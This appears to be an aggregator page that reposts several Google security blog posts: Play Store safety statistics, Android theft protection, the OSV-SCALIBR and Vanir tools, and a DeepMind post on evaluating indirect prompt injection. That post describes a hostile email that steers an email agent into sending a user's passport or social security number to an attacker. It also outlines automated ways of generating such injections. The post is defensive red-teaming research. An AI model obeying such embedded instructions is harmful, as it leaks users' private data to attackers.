 This effort isn't about picking winners or dictating solutions. It's about creating a level playing field, empowering informed decision-making, and driving a virtuous cycle of security improvement. It's about enabling a future where: 

 Developers and vendors can confidently build more secure systems, knowing their efforts can be objectively assessed. 

 Businesses can procure memory-safe products with assurance, reducing their risk and protecting their customers. 

 Governments can effectively protect critical infrastructure and incentivize the adoption of secure-by-design practices. 

 Consumers are empowered to make decisions about the services they rely on and the devices they use with confidence – knowing the security of each option was assessed against a common framework. 

 The journey towards memory safety requires a collective commitment to standardization. We need to build a future where memory safety is not an afterthought but a foundational principle, a future where the next generation inherits a digital world that is secure by design. 

 Acknowledgments 

 We'd like to thank our CACM article co-authors for their invaluable contributions: Robert N. M. Watson, John Baldwin, Tony Chen, David Chisnall, Jessica Clarke, Brooks Davis, Nathaniel Wesley Filardo, Brett Gutstein, Graeme Jenkinson, Christoph Kern, Alfredo Mazzinghi, Simon W. Moore, Peter G. Neumann, Hamed Okhravi, Peter Sewell, Laurence Tratt, Hugo Vincent, and Konrad Witaszczyk, as well as many others.

This is an excerpt of official research, not a reproduced
Action: Read the exact official research article before applying its defensive techniques or drawing conclusions.
Kind: advisory; regions: Global; provenance: pipeline.
KEV evidence not available.

### How we kept the Google Play & Android app ecosystems safe in 2024
https://kevwire.com/record/google-security-how-we-kept-google-play-android-app-ecosystem-safe-2024-c6be20d2a936
How we kept the Google Play & Android app ecosystems safe in 2024 (Jan 29, 2025).
Posted by Bethel Otuteye and Khawaja Shams (Android Security and Privacy Team), and Ron Aquino (Play Trust and Safety) 

Android and Google Play comprise a vibrant ecosystem with billions of users around the globe and millions of helpful apps. Keeping this ecosystem safe for users and developers remains our top priority. However, like any flourishing ecosystem, it also attracts its share of bad actors. That’s why every year, we continue to invest in more ways to protect our community and fight bad actors, so users can trust the apps they download from Google Play and developers can build thriving businesses. 

Last year, those investments included AI-powered threat detection, stronger privacy policies, supercharged developer tools, new industry-wide alliances, and more. As a result, we prevented 2.36 million policy-violating apps from being published on Google Play and banned more than 158,000 bad developer accounts that attempted to publish harmful apps. 

But that was just the start. For more, take a look at our recent highlights from 2024:

 Google’s advanced AI: helping make Google Play a safer place

To keep out bad actors, we have always used a combination of human security experts and the latest threat-detection technology. In 2024, we used Google’s advanced AI to improve our systems’ ability to proactively identify malware, enabling us to detect and block bad apps more effectively. It also helps us streamline review processes for developers with a proven track record of policy compliance. Today, over 92% of our human reviews for harmful apps are AI-assisted , allowing us to take quicker and more accurate action to help prevent harmful apps from becoming available on Google Play.

That’s enabled us to stop more bad apps than ever from reaching users through the Play Store, protecting users from harmful or malicious apps before they can cause any damage.

 Working with developers to enhance security and privacy on Google Play

To protect user privacy, we’re wo
Sources:
Google Security Research: How we kept the Google Play & Android app ecosystems safe in 2024: https://security.googleblog.com/2025/01/how-we-kept-google-play-android-app-ecosystem-safe-2024.html
Google Security Research syndication feed: https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50
Posted by Bethel Otuteye and Khawaja Shams (Android Security and Privacy Team), and Ron Aquino (Play Trust and Safety) 

Android and Google Play comprise a vibrant ecosystem with billions of users around the globe and millions of helpful apps. Keeping this ecosystem safe for users and developers remains our top priority. However, like any flourishing ecosystem, it also attracts its share of bad actors. That’s why every year, we continue to invest in more ways to protect our community and fight bad actors, so users can trust the apps they download from Google Play and developers can build thriving businesses. 

Last year, those investments included AI-powered threat detection, stronger privacy policies, supercharged developer tools, new industry-wide alliances, and more. As a result, we prevented 2.36 million policy-violating apps from being published on Google Play and banned more than 158,000 bad developer accounts that attempted to publish harmful apps. 

But that was just the start. For more, take a look at our recent highlights from 2024:

 Google’s advanced AI: helping make Google Play a safer place

To keep out bad actors, we have always used a combination of human security experts and the latest threat-detection technology. In 2024, we used Google’s advanced AI to improve our systems’ ability to proactively identify malware, enabling us to detect and block bad apps more effectively. It also helps us streamline review processes for developers with a proven track record of policy compliance. Today, over 92% of our human reviews for harmful apps are AI-assisted , allowing us to take quicker and more accurate action to help prevent harmful apps from becoming available on Google Play.

That’s enabled us to stop more bad apps than ever from reaching users through the Play Store, protecting users from harmful or malicious apps before they can cause any damage.

 Working with developers to enhance security and privacy on Google Play

To protect user privacy, we’re working with developers to reduce unnecessary access to sensitive data. In 2024, we prevented 1.3 million apps from getting excessive or unnecessary access to sensitive user data. We also required apps to be more transparent about how they handle user information by launching new developer requirements and a new “Data deletion” option for apps that support user accounts and data collection. This helps users manage their app data and understand the app’s deletion practices, making it easier for Play users to delete data collected from third-party apps.

We also worked to ensure that apps use the strongest and most up-to-date privacy and security capabilities Android has to offer. Every new version of Android introduces new security and privacy features, and we encourage developers to embrace these advancements as soon as possible. As a result of partnering closely with developers, over 91% of app installs on the Google Play Store now use the latest protections of Android 13 or newer. 

 Safeguarding apps from scams and fraud is an ongoing battle for developers. The Play Integrity API allows developers to check if their apps have been tampered with or are running in potentially compromised environments, helping them to prevent abuse like fraud, bots, cheating, and data theft. Play Integrity API and Play’s automatic protection helps developers ensure that users are using the official Play version of their app with the latest security updates. Apps using Play integrity features are seeing 80% lower usage from unverified and untrusted sources on average. 

We’re also constantly working to improve the safety of apps on Play at scale, such as with the Google Play SDK Index . This tool offers insights and data to help developers make more informed decisions about the safety of an SDK. Last year, in addition to adding 80 SDKs to the index, we also worked closely with SDK and app developers to address potential SDK security and privacy issues, helping to build safer and more secure apps for Google Play.

 Google Play’s multi-layered protections against bad apps 

To create a trusted experience for everyone on Google Play, we use our SAFE principles as a guide, incorporating multi-layered protections that are always evolving to help keep Google Play safe. These protections start with the developers themselves, who play a crucial role in building secure apps. We provide developers with best-in-class tools , best practices , and on-demand training resources for building safe, high-quality apps. Every app undergoes rigorous review and testing , with only approved apps allowed to appear in the Play Store. Before a user downloads an app from Play, users can explore its user reviews, ratings, and Data safety section on Google Play to help them make an informed decision. And once installed, Google Play Protect , Android’s built-in security protection, helps to shield their Android device by continuously scanning for malicious app behavior.

 Enhancing Google Play Protect to help keep users safe on Android

While the Play Store offers best-in-class security, we know it’s not the only place users download Android apps – so it’s important that we also defend Android users from more generalized mobile threats. To do this in an open ecosystem, we’ve invested in sophisticated, real-time defenses that protect against scams, malware, and abusive apps. These intelligent security measures help to keep users, user data, and devices safe, even if apps are installed from various sources with varying levels of security. 

 Google Play Protect automatically scans every app on Android devices with Google Play Services, no matter the download source. This built-in protection, enabled by default, provides crucial security against malware and unwanted software. Google Play Protect scans more than 200 billion apps daily and performs real-time scanning at the code-level on novel apps to combat emerging and hidden threats, like polymorphic malware. In 2024, Google Play Protect’s real-time scanning identified more than 13 million new malicious apps from outside Google Play 1 . 

Google Play Protect is always evolving to combat new threats and protect users from harmful apps that can lead to scams and fraud. Here are some of the new improvements that are now available globally on Android devices with Google Play Services: 

 Reminder notifications in Chrome on Android to re-enable Google Play Protect: According to our research, more than 95 percent of app installations from major malware families that exploit sensitive permissions highly correlated to financial fraud came from Internet-sideloading sources like web browsers, messaging apps, or file managers. To help users stay protected when browsing the web, Chrome will now display a reminder notification to re-enable Google Play Protect if it has been turned off. 

 Additional protection against social engineering attacks: Scammers may manipulate users into disabling Play Protect during calls to download malicious Internet-sideloaded apps. To prevent this, the Play Protect app scanning toggle is now temporarily disabled during phone or video calls. This safeguard is enabled by default during traditional phone calls as well as during voice and video calls in popular third-party apps.

 Automatically revoking app permissions for potentially dangerous apps: Since Android 11, we’ve taken a proactive approach to data privacy by automatically resetting permissions for apps that users haven't used in a while . This ensures apps can only access the data they truly need, and users can always grant permissions back if necessary. To further enhance security, Play Protect now automatically revokes permissions for potentially harmful apps, limiting their access to sensitive data like storage, photos, and camera. Users can restore app permissions at any time, with a confirmation step for added security.

Google Play Protect’s enhanced fraud protection pilot analyzes and automatically blocks th
Action: Read the exact official research article before applying its defensive techniques or drawing conclusions.
Kind: advisory; regions: Global; provenance: pipeline.
KEV evidence not available.

### How we estimate the risk from prompt injection attacks on AI systems
https://kevwire.com/record/google-security-how-we-estimate-risk-from-prompt-5cef529ef824
How we estimate the risk from prompt injection attacks on AI systems (Jan 29, 2025).
Posted by the Agentic AI Security Team at Google DeepMind 

 Modern AI systems, like Gemini, are more capable than ever, helping retrieve data and perform actions on behalf of users. However, data from external sources present new security challenges if untrusted sources are available to execute instructions on AI systems. Attackers can take advantage of this by hiding malicious instructions in data that are likely to be retrieved by the AI system, to manipulate its behavior. This type of attack is commonly referred to as an "indirect prompt injection," a term first coined by Kai Greshake and the NVIDIA team. 

 To mitigate the risk posed by this class of attacks, we are actively deploying defenses within our AI systems along with measurement and monitoring tools. One of these tools is a robust evaluation framework we have developed to automatically red-team an AI system’s vulnerability to indirect prompt injection attacks. We will take you through our threat model, before describing three attack techniques we have implemented in our evaluation framework. 

 Threat model and evaluation framework 

 Our threat model concentrates on an attacker using indirect prompt injection to exfiltrate sensitive information, as illustrated above. The evaluation framework tests this by creating a hypothetical scenario, in which an AI agent can send and retrieve emails on behalf of the user. The agent is presented with a fictitious conversation history in which the user references private information such as their passport or social security number. Each conversation ends with a request by the user to summarize their last email, and the retrieved email in context. 

 The contents of this email are controlled by the attacker, who tries to manipulate the agent into sending the sensitive information in the conversation history to an attacker-controlled email address. The attack is successful if the agent executes the malicious prompt contained in the email, resulting in the unauthorize
AI classification: infrastructure; evidence: confirmed. The official article discusses security of AI systems or agents. AI is the affected infrastructure; this is not evidence that attackers used AI.
Sources:
Google Security Research: How we estimate the risk from prompt injection attacks on AI systems: https://security.googleblog.com/2025/01/how-we-estimate-risk-from-prompt.html
Google Security Research syndication feed: https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50
Posted by the Agentic AI Security Team at Google DeepMind 

 Modern AI systems, like Gemini, are more capable than ever, helping retrieve data and perform actions on behalf of users. However, data from external sources present new security challenges if untrusted sources are available to execute instructions on AI systems. Attackers can take advantage of this by hiding malicious instructions in data that are likely to be retrieved by the AI system, to manipulate its behavior. This type of attack is commonly referred to as an "indirect prompt injection," a term first coined by Kai Greshake and the NVIDIA team. 

 To mitigate the risk posed by this class of attacks, we are actively deploying defenses within our AI systems along with measurement and monitoring tools. One of these tools is a robust evaluation framework we have developed to automatically red-team an AI system’s vulnerability to indirect prompt injection attacks. We will take you through our threat model, before describing three attack techniques we have implemented in our evaluation framework. 

 Threat model and evaluation framework 

 Our threat model concentrates on an attacker using indirect prompt injection to exfiltrate sensitive information, as illustrated above. The evaluation framework tests this by creating a hypothetical scenario, in which an AI agent can send and retrieve emails on behalf of the user. The agent is presented with a fictitious conversation history in which the user references private information such as their passport or social security number. Each conversation ends with a request by the user to summarize their last email, and the retrieved email in context. 

 The contents of this email are controlled by the attacker, who tries to manipulate the agent into sending the sensitive information in the conversation history to an attacker-controlled email address. The attack is successful if the agent executes the malicious prompt contained in the email, resulting in the unauthorized disclosure of sensitive information. The attack fails if the agent only follows user instructions and provides a simple summary of the email. 

 Automated red-teaming 

 Crafting successful indirect prompt injections requires an iterative process of refinement based on observed responses. To automate this process, we have developed a red-team framework consisting of several optimization-based attacks that generate prompt injections (in the example above this would be different versions of the malicious email). These optimization-based attacks are designed to be as strong as possible; weak attacks do little to inform us of the susceptibility of an AI system to indirect prompt injections. 

 Once these prompt injections have been constructed, we measure the resulting attack success rate on a diverse set of conversation histories. Because the attacker has no prior knowledge of the conversation history, to achieve a high attack success rate the prompt injection must be capable of extracting sensitive user information contained in any potential conversation contained in the prompt, making this a harder task than eliciting generic unaligned responses from the AI system. The attacks in our framework include: 

 Actor Critic: This attack uses an attacker-controlled model to generate suggestions for prompt injections. These are passed to the AI system under attack, which returns a probability score of a successful attack. Based on this probability, the attack model refines the prompt injection. This process repeats until the attack model converges to a successful prompt injection. 

 Beam Search: This attack starts with a naive prompt injection directly requesting that the AI system send an email to the attacker containing the sensitive user information. If the AI system recognizes the request as suspicious and does not comply, the attack adds random tokens to the end of the prompt injection and measures the new probability of the attack succeeding. If the probability increases, these random tokens are kept, otherwise they are removed, and this process repeats until the combination of the prompt injection and random appended tokens result in a successful attack. 

 Tree of Attacks w/ Pruning (TAP): Mehrotra et al. (2024) [3] designed an attack to generate prompts that cause an AI system to violate safety policies (such as generating hate speech). We adapt this attack, making several adjustments to target security violations. Like Actor Critic, this attack searches in the natural language space; however, we assume the attacker cannot access probability scores from the AI system under attack, only the text samples that are generated. 

 We are actively leveraging insights gleaned from these attacks within our automated red-team framework to protect current and future versions of AI systems we develop against indirect prompt injection, providing a measurable way to track security improvements. A single silver bullet defense is not expected to solve this problem entirely. We believe the most promising path to defend against these attacks involves a combination of robust evaluation frameworks leveraging automated red-teaming methods, alongside monitoring, heuristic defenses, and standard security engineering solutions. 

 We would like to thank Vijay Bolina, Sravanti Addepalli, Lihao Liang, and Alex Kaskasoli for their prior contributions to this work . 

 Posted on behalf of the entire Google DeepMind Agentic AI Security team (listed in alphabetical order): 

 Aneesh Pappu, Andreas Terzis, Chongyang Shi, Gena Gibson, Ilia Shumailov, Itay Yona, Jamie Hayes, John "Four" Flynn, Juliette Pluto, Sharon Lin, Shuang Song

This is an excerpt of official research, not a reproduced result or evidence of exposure to a scored vulnerability.
Action: Read the exact official research article before applying its defensive techniques or drawing conclusions.
Kind: ai-research; regions: Global; provenance: pipeline.
KEV evidence not available.

### Android enhances theft protection with Identity Check and expanded features
https://kevwire.com/record/google-security-android-theft-protection-identity-check-expanded-features-8e4b62f76cef
Android enhances theft protection with Identity Check and expanded features (Jan 23, 2025).
Posted by Jianing Sandra Guo, Product Manager, Android, Nataliya Stanetsky, Staff Program Manager, Android 

Today, people around the world rely on their mobile devices to help them stay connected with friends and family, manage finances, keep track of healthcare information and more – all from their fingertips. But a stolen device in the wrong hands can expose sensitive data, leaving you vulnerable to identity theft, financial fraud and privacy breaches.

This is why we recently launched Android theft protection , a comprehensive suite of features designed to protect you and your data at every stage – before, during, and after device theft. As part of our commitment to help you stay safe on Android, we’re expanding and enhancing these features to deliver even more robust protection to more users around the world. 

 Identity Check rolling out to Pixel and Samsung One UI 7 devices 

We’re officially launching Identity Check, first on Pixel and Samsung Galaxy devices eligible for One UI 7 1 , to provide better protection for your critical account and device settings. When you turn on Identity Check, your device will require explicit biometric authentication to access certain sensitive resources when you’re outside of trusted locations. Identity Check also enables enhanced protection for Google Accounts on all supported devices and additional security for Samsung Accounts on One UI 7 eligible Galaxy devices, making it much more difficult for an unauthorized attacker to take over accounts signed in on the device. 

As part of enabling Identity Check, you can designate one or more trusted locations. When you’re outside of these trusted places, biometric authentication will be required to access critical account and device settings, like changing your device PIN or biometrics, disabling theft protection, or accessing Passkeys. 

Identity Check gives you more peace of mind that your most sensitive device assets are protected against unauthorized access, even if a thief or
Sources:
Google Security Research: Android enhances theft protection with Identity Check and expanded features: https://security.googleblog.com/2025/01/android-theft-protection-identity-check-expanded-features.html
Google Security Research syndication feed: https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50
Posted by Jianing Sandra Guo, Product Manager, Android, Nataliya Stanetsky, Staff Program Manager, Android 

Today, people around the world rely on their mobile devices to help them stay connected with friends and family, manage finances, keep track of healthcare information and more – all from their fingertips. But a stolen device in the wrong hands can expose sensitive data, leaving you vulnerable to identity theft, financial fraud and privacy breaches.

This is why we recently launched Android theft protection , a comprehensive suite of features designed to protect you and your data at every stage – before, during, and after device theft. As part of our commitment to help you stay safe on Android, we’re expanding and enhancing these features to deliver even more robust protection to more users around the world. 

 Identity Check rolling out to Pixel and Samsung One UI 7 devices 

We’re officially launching Identity Check, first on Pixel and Samsung Galaxy devices eligible for One UI 7 1 , to provide better protection for your critical account and device settings. When you turn on Identity Check, your device will require explicit biometric authentication to access certain sensitive resources when you’re outside of trusted locations. Identity Check also enables enhanced protection for Google Accounts on all supported devices and additional security for Samsung Accounts on One UI 7 eligible Galaxy devices, making it much more difficult for an unauthorized attacker to take over accounts signed in on the device. 

As part of enabling Identity Check, you can designate one or more trusted locations. When you’re outside of these trusted places, biometric authentication will be required to access critical account and device settings, like changing your device PIN or biometrics, disabling theft protection, or accessing Passkeys. 

Identity Check gives you more peace of mind that your most sensitive device assets are protected against unauthorized access, even if a thief or bad actor manages to learn your device PIN. 

Identity Check is rolling out now to Pixel devices with Android 15 and will be available on One UI 7 eligible Galaxy devices in the coming weeks. It will roll out to supported Android devices from other manufacturers later this year. 

 Theft Detection Lock: expanding AI-powered protection to more users 

One of the top theft protection features introduced last year was Theft Detection Lock, which uses an on-device AI-powered algorithm to help detect when your phone may be forcibly taken from you. If the machine learning algorithm detects a potential theft attempt on your unlocked device, it locks your screen to keep thieves out.

Theft Detection Lock is now fully rolled out to Android 10+ phones 2 around the world. 

 Protecting your Android device from theft 

We're collaborating with the GSMA and industry experts to combat mobile device theft by sharing information, tools and prevention techniques. Stay tuned for an upcoming GSMA white paper, developed in partnership with the mobile industry, with more information on protecting yourself and your organization from device theft.

With the addition of Identity Check and the ongoing enhancements to our existing features, Android offers a robust and comprehensive set of tools to protect your devices and your data from theft. We’re dedicated to providing you with peace of mind, knowing your personal information is safe and secure. 

 You can turn on the new Android theft features by clicking here on a supported Android device. Learn more about our theft protection features by visiting our help center . 

 Notes

 Timing, availability and feature names may vary in One UI 7. ↩ 
 
 With the exclusion for Android Go smartphones ↩

This is an excerpt of official research, not a reproduced result or evidence of exposure to a scored vulnerability.
Action: Read the exact official research article before applying its defensive techniques or drawing conclusions.
Kind: advisory; regions: Global; provenance: pipeline.
KEV evidence not available.

### OSV-SCALIBR: A library for Software Composition Analysis
https://kevwire.com/record/google-security-osv-scalibr-library-for-software-7aefc83b5a81
OSV-SCALIBR: A library for Software Composition Analysis (Jan 16, 2025).
Posted by Erik Varga, Vulnerability Management, and Rex Pan, Open Source Security Team 

 In December 2022, we announced OSV-Scanner , a tool to enable developers to easily scan for vulnerabilities in their open source dependencies. Together with the open source community, we’ve continued to build this tool, adding remediation features , as well as expanding ecosystem support to 11 programming languages and 20 package manager formats. 

 Today, we’re excited to release OSV-SCALIBR (Software Composition Analysis LIBRary), an extensible library for SCA and file system scanning. OSV-SCALIBR combines Google’s internal vulnerability management expertise into one scanning library with significant new capabilities such as: 

 SCA for installed packages, standalone binaries, as well as source code 

 OSes package scanning on Linux (COS, Debian, Ubuntu, RHEL, and much more), Windows, and Mac 

 Artifact and lockfile scanning in major language ecosystems (Go, Java, Javascript, Python, Ruby, and much more) 

 Vulnerability scanning tools such as weak credential detectors for Linux, Windows, and Mac 

 SBOM generation in SPDX and CycloneDX, the two most popular document formats 

 Optimization for on-host scanning of resource constrained environments where performance and low resource consumption is critical 

 OSV-SCALIBR is now the primary SCA engine used within Google for live hosts, code repos, and containers. It’s been used and tested extensively across many different products and internal tools to help generate SBOMs, find vulnerabilities, and help protect our users’ data at Google scale. 

 We offer OSV-SCALIBR primarily as an open source Go library today, and we're working on adding its new capabilities into OSV-Scanner as the primary CLI interface. 

 Using OSV-SCALIBR as a library 

 All of OSV-SCALIBR's capabilities are modularized into plugins for software extraction and vulnerability detection which are very simple to expand .You can use OSV-SCALIBR as a library to
Sources:
Google Security Research: OSV-SCALIBR: A library for Software Composition Analysis: https://security.googleblog.com/2025/01/osv-scalibr-library-for-software.html
Google Security Research syndication feed: https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50
Posted by Erik Varga, Vulnerability Management, and Rex Pan, Open Source Security Team 

 In December 2022, we announced OSV-Scanner , a tool to enable developers to easily scan for vulnerabilities in their open source dependencies. Together with the open source community, we’ve continued to build this tool, adding remediation features , as well as expanding ecosystem support to 11 programming languages and 20 package manager formats. 

 Today, we’re excited to release OSV-SCALIBR (Software Composition Analysis LIBRary), an extensible library for SCA and file system scanning. OSV-SCALIBR combines Google’s internal vulnerability management expertise into one scanning library with significant new capabilities such as: 

 SCA for installed packages, standalone binaries, as well as source code 

 OSes package scanning on Linux (COS, Debian, Ubuntu, RHEL, and much more), Windows, and Mac 

 Artifact and lockfile scanning in major language ecosystems (Go, Java, Javascript, Python, Ruby, and much more) 

 Vulnerability scanning tools such as weak credential detectors for Linux, Windows, and Mac 

 SBOM generation in SPDX and CycloneDX, the two most popular document formats 

 Optimization for on-host scanning of resource constrained environments where performance and low resource consumption is critical 

 OSV-SCALIBR is now the primary SCA engine used within Google for live hosts, code repos, and containers. It’s been used and tested extensively across many different products and internal tools to help generate SBOMs, find vulnerabilities, and help protect our users’ data at Google scale. 

 We offer OSV-SCALIBR primarily as an open source Go library today, and we're working on adding its new capabilities into OSV-Scanner as the primary CLI interface. 

 Using OSV-SCALIBR as a library 

 All of OSV-SCALIBR's capabilities are modularized into plugins for software extraction and vulnerability detection which are very simple to expand .You can use OSV-SCALIBR as a library to: 

 1.Generate SBOMs from the build artifacts and code repos on your live host: 

 import ( 

 "context" 

 "github.com/google/osv-scalibr" 

 "github.com/google/osv-scalibr/converter" 

 "github.com/google/osv-scalibr/extractor/filesystem/list" 

 "github.com/google/osv-scalibr/fs" 

 "github.com/google/osv-scalibr/plugin" 

 spdx "github.com/spdx/tools-golang/spdx/v2/v2_3" 

 ) 

 func GenSBOM ( ctx context . Context ) * spdx . Document { 

 capab := & plugin . Capabilities { OS : plugin . OSLinux } 

 cfg := & scalibr . ScanConfig { 

 ScanRoots : fs . RealFSScanRoots ( "/" ), 

 FilesystemExtractors : list . FromCapabilities( capab) , 

 Capabilities : capab , 

 } 

 result := scalibr . New (). Scan ( ctx , cfg ) 

 return converter . ToSPDX23 ( result , converter . SPDXConfig {}) 

 } 

 2. Scan a git repo for SBOMs: 

 Simply replace "/" with the path to your git repo. Also take a look at the various language extractors to enable for code scanning. 

 3. Scan a remote container for SBOMs: 

 Replace the scan config from the above code snippet with 

 import ( 

 ... 

 "github.com/google/go-containerregistry/pkg/authn" 

 "github.com/google/go-containerregistry/pkg/v1/remote" 

 "github.com/google/osv-scalibr/artifact/image" 

 ... 

 ) 

 ... 

 filesys , _ := image . NewFromRemoteName ( 

 "alpine:latest" , 

 remote . WithAuthFromKeychain ( authn . DefaultKeychain ), 

 ) 

 cfg := & scalibr . ScanConfig { 

 ScanRoots : [] * fs . ScanRoot {{ FS : filesys }}, 

 ... 

 } 

 4. Find vulnerabilities on your filesystem or a remote container: 

 Extract the PURLs from the SCALIBR inventory results from the previous steps: 

 import ( 

 ... 

 "github.com/google/osv-scalibr/converter" 

 ... 

 ) 

 ... 

 result := scalibr . New (). Scan ( ctx , cfg ) 

 for _ , i := range result . Inventories { 

 fmt . Println ( converter . ToPURL ( i )) 

 } 

 And send them to osv.dev , e.g. 

 $ curl -d '{"package": {"purl": "pkg:npm/dojo@1.2.3"}}' "https://api.osv.dev/v1/query" 

 See the usage docs for more details. 

 OSV-Scanner + OSV-SCALIBR 

 Users looking for an out-of-the-box vulnerability scanning CLI tool should check out OSV-Scanner , which already provides comprehensive language package scanning capabilities using much of the same extraction as OSV-SCALIBR. 

 Some of OSV-SCALIBR’s capabilities are not yet available in OSV-Scanner, but we’re currently working on integrating OSV-SCALIBR more deeply into OSV-Scanner. This will make more and more of OSV-SCALIBR’s capabilities available in OSV-Scanner in the next few months, including installed package extraction, weak credentials scanning, SBOM generation, and more. 

 Look out soon for an announcement of OSV-Scanner V2 with many of these new features available. OSV-Scanner will become the primary frontend to the OSV-SCALIBR library for users who require a CLI interface. Existing users of OSV-Scanner can continue to use the tool the same way, with backwards compatibility maintained for all existing use cases. 

 For installation and usage instructions, have a look at OSV-Scanner’s documentation here . 

 What’s next 

 In addition to making all of OSV-SCALIBR’s features available in OSV-Scanner, we're also working on additional new capabilities. Here's some of the things you can expect: 

 Support for more OS and language ecosystems, both for regular extraction and for Guided Remediation 

 Layer attribution and base image identification for container scanning 

 Reachability analysis to reduce false positive vulnerability matches 

 More vulnerability and misconfiguration detectors for Windows 

 More weak credentials detectors 

 We hope that this library helps developers and organizations to secure their software and encourages the open source community to contribute back by sharing new plugins on top of OSV-SCALIBR. 

 If you have any questions or if you would like to contribute, don't hesitate to reach out to us at osv-discuss@google.com or by posting an issue in our issue tracker .

This is an excerpt of official research, not a reproduced result or evidence of exposure to a scored vulnerability.
Action: Read the exact official research article before applying its defensive techniques or drawing conclusions.
Kind: advisory; regions: Global; provenance: pipeline.
KEV evidence not available.

### Announcing the launch of Vanir: Open-source Security Patch Validation
https://kevwire.com/record/google-security-announcing-launch-of-vanir-open-source-cb78fd958b86
Announcing the launch of Vanir: Open-source Security Patch Validation (Dec 5, 2024).
Posted by Hyunwook Baek, Duy Truong, Justin Dunlap and Lauren Stan from Android Security and Privacy, and Oliver Chang with the Google Open Source Security Team 

 Today, we are announcing the availability of Vanir , a new open-source security patch validation tool. Introduced at Android Bootcamp in April, Vanir gives Android platform developers the power to quickly and efficiently scan their custom platform code for missing security patches and identify applicable available patches. Vanir significantly accelerates patch validation by automating this process, allowing OEMs to ensure devices are protected with critical security updates much faster than traditional methods. This strengthens the security of the Android ecosystem, helping to keep Android users around the world safe. 

 By open-sourcing Vanir, we aim to empower the broader security community to contribute to and benefit from this tool, enabling wider adoption and ultimately improving security across various ecosystems. While initially designed for Android, Vanir can be easily adapted to other ecosystems with relatively small modifications, making it a versatile tool for enhancing software security across the board. In collaboration with the Google Open Source Security Team, we have incorporated feedback from our early adopters to improve Vanir and make it more useful for security professionals. This tool is now available for you to start developing on top of, and integrating into, your systems. 

 The Android ecosystem relies on a multi-stage process for vulnerability mitigation. When a new vulnerability is discovered, upstream AOSP developers create and release upstream patches. The downstream device and chip manufacturers then assess the impact on their specific devices and backport the necessary fixes. This process, while effective, can present scalability challenges, especially for manufacturers managing a diverse range of devices and old models with complex update histories. Managing patch coverage
Sources:
Google Security Research: Announcing the launch of Vanir: Open-source Security Patch Validation: https://security.googleblog.com/2024/12/announcing-launch-of-vanir-open-source.html
Google Security Research syndication feed: https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50
Posted by Hyunwook Baek, Duy Truong, Justin Dunlap and Lauren Stan from Android Security and Privacy, and Oliver Chang with the Google Open Source Security Team 

 Today, we are announcing the availability of Vanir , a new open-source security patch validation tool. Introduced at Android Bootcamp in April, Vanir gives Android platform developers the power to quickly and efficiently scan their custom platform code for missing security patches and identify applicable available patches. Vanir significantly accelerates patch validation by automating this process, allowing OEMs to ensure devices are protected with critical security updates much faster than traditional methods. This strengthens the security of the Android ecosystem, helping to keep Android users around the world safe. 

 By open-sourcing Vanir, we aim to empower the broader security community to contribute to and benefit from this tool, enabling wider adoption and ultimately improving security across various ecosystems. While initially designed for Android, Vanir can be easily adapted to other ecosystems with relatively small modifications, making it a versatile tool for enhancing software security across the board. In collaboration with the Google Open Source Security Team, we have incorporated feedback from our early adopters to improve Vanir and make it more useful for security professionals. This tool is now available for you to start developing on top of, and integrating into, your systems. 

 The Android ecosystem relies on a multi-stage process for vulnerability mitigation. When a new vulnerability is discovered, upstream AOSP developers create and release upstream patches. The downstream device and chip manufacturers then assess the impact on their specific devices and backport the necessary fixes. This process, while effective, can present scalability challenges, especially for manufacturers managing a diverse range of devices and old models with complex update histories. Managing patch coverage across diverse and customized devices often requires considerable effort due to the manual nature of backporting. 

 To streamline the vital security workflow, we developed Vanir. Vanir provides a scalable and sustainable solution for security patch adoption and validation, helping to ensure Android devices receive timely protection against potential threats. 

 The power of Vanir 

 Source-code-based static analysis 

 Vanir’s first-of-its-kind approach to Android security patch validation uses source-code-based static analysis to directly compare the target source code against known vulnerable code patterns. Vanir does not rely on traditional metadata-based validation mechanisms, such as version numbers, repository history and build configs, which can be prone to errors. This unique approach enables Vanir to analyze entire codebases with full history, individual files, or even partial code snippets. 

 A main focus of Vanir is to automate the time consuming and costly process of identifying missing security patches in the open source software ecosystem. During the early development of Vanir, it became clear that manually identifying a high-volume of missing patches is not only labor intensive but also can leave user devices inadvertently exposed to known vulnerabilities for a period of time. To address this, Vanir utilizes novel automatic signature refinement techniques and multiple pattern analysis algorithms, inspired by the vulnerable code clone detection algorithms proposed by Jang et al. [1] and Kim et al. [2]. These algorithms have low false-alarm rates and can effectively handle broad classes of code changes that might appear in code patch processes. In fact, based on our 2-year operation of Vanir, only 2.72% of signatures triggered false alarms. This allows Vanir to efficiently find missing patches, even with code changes, while minimizing unnecessary alerts and manual review efforts. 

 Vanir's source-code-based approach also enables rapid scaling across any ecosystem. It can generate signatures for any source files written in supported languages. Vanir's signature generator automatically generates, tests, and refines these signatures, allowing users to quickly create signatures for new vulnerabilities in any ecosystem simply by providing source files with security patches. 

 Android’s successful use of Vanir highlights its efficiency compared to traditional patch verification methods. A single engineer used Vanir to generate signatures for over 150 vulnerabilities and verify missing security patches across its downstream branches – all within just five days. 

 Vanir for Android 

 Currently Vanir supports C/C++ and Java targets and covers 95% of Android kernel and userspace CVEs with public security patches. Google Android Security team consistently incorporates the latest CVEs into Vanir’s coverage to provide a complete picture of the Android ecosystem’s patch adoption risk profile. 

 The Vanir signatures for Android vulnerabilities are published through the Open Source Vulnerabilities (OSV) database. This allows Vanir users to seamlessly protect their codebases against latest Android vulnerabilities without any additional updates. Currently, there are over 2,000 Android vulnerabilities in OSV , and finishing scanning an entire Android source tree can take 10-20 minutes with a modern PC. 

